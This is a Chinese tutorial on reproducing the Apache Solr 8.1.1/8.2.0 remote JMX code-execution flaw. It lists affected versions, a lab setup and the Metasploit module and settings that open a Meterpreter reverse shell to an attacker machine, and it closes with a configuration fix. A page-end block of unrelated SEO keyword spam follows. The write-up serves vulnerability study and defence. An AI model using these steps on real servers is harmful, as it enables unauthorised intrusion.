千家信息网

如何进行Apache Solr JMX服务RCE漏洞复现

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,这篇文章将为大家详细讲解有关如何进行Apache Solr JMX服务RCE漏洞复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。0x00简介Solr
千家信息网最后更新 2025年12月01日如何进行Apache Solr JMX服务RCE漏洞复现

这篇文章将为大家详细讲解有关如何进行Apache Solr JMX服务RCE漏洞复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

0x00简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。

Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。

如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),

并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,

并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

0x01影响版本

Apache Solr8.1.1版本上线时间:2019-05-28

Apache Solr8.2.0版本上线时间:2019-07-25

0x02漏洞危害

如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0x03环境搭建

Java环境和kali系统、Solr 8.20

Solr 8.20 下载地址:

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

使用unzip solr-8.2.0.zip解压

解压完成后,切换到bin目录启动Solr

./solr start -force

启动后访问:http://192.168.10.176:8983/

0x04漏洞复现

攻击机:kali IP:192.168.10.147

受害机:Ubuntu18.6中docker IP:192.168.10.184:8983

1、使用nmap扫描端口后发现18983端口开启

2、使用Metasploit中的exploit/multi/misc/java_jmx_server模块进行漏洞复现

Ø use exploit/multi/misc/java_jmx_server

Ø set RHOST 192.168.10.184

Ø set RPORT 18983

再来设置payload:java/meterpreter/reverse_tcp

Ø set payload java/meterpreter/reverse_tcp

Ø set LHOST 192.168.10.147

Ø set LPORT 4444

3、使用run执行,即可看到成功建立连接

0x05修复建议

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

关于如何进行Apache Solr JMX服务RCE漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 服务 版本 文件 端口 影响 配置 服务器 用户 攻击 代码 内容 可以通过 文章 时间 更多 格式 环境 知识 篇文章 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 上海润星网络技术有限公司 软件开发要用的工具正式最新版 数据库日志漏洞 论数据库分析的重要性 qt如何使用本地数据库连接 信创国产数据库认证 富阳计算机网络技术咨询服务 网络安全周幼儿园 中芯国际 软件开发岗待遇 sql数据库取时间时间范围 对照网络安全法 搜狗 代理服务器 计算机网络技术专科专业学什么 网络安全之墙 胡润网络安全 国网公司网络安全十条禁令 检索综述使用哪个数据库 各细胞在不同组织中比例数据库 地址盒管理服务器是什么原因 设置服务器网络共享文件 广州安卓软件开发怎么样 常用的空间数据库技术 数据库中查询表的定义 网络安全和健康上网有联系吗 无尽的拉格朗日怎么查找自己登录的服务器 公安局网络安全责任书 小型仓库数据库模型 服务器登陆达梦 服务器怎样用管理员身份登录 怎样攻击别人服务器
0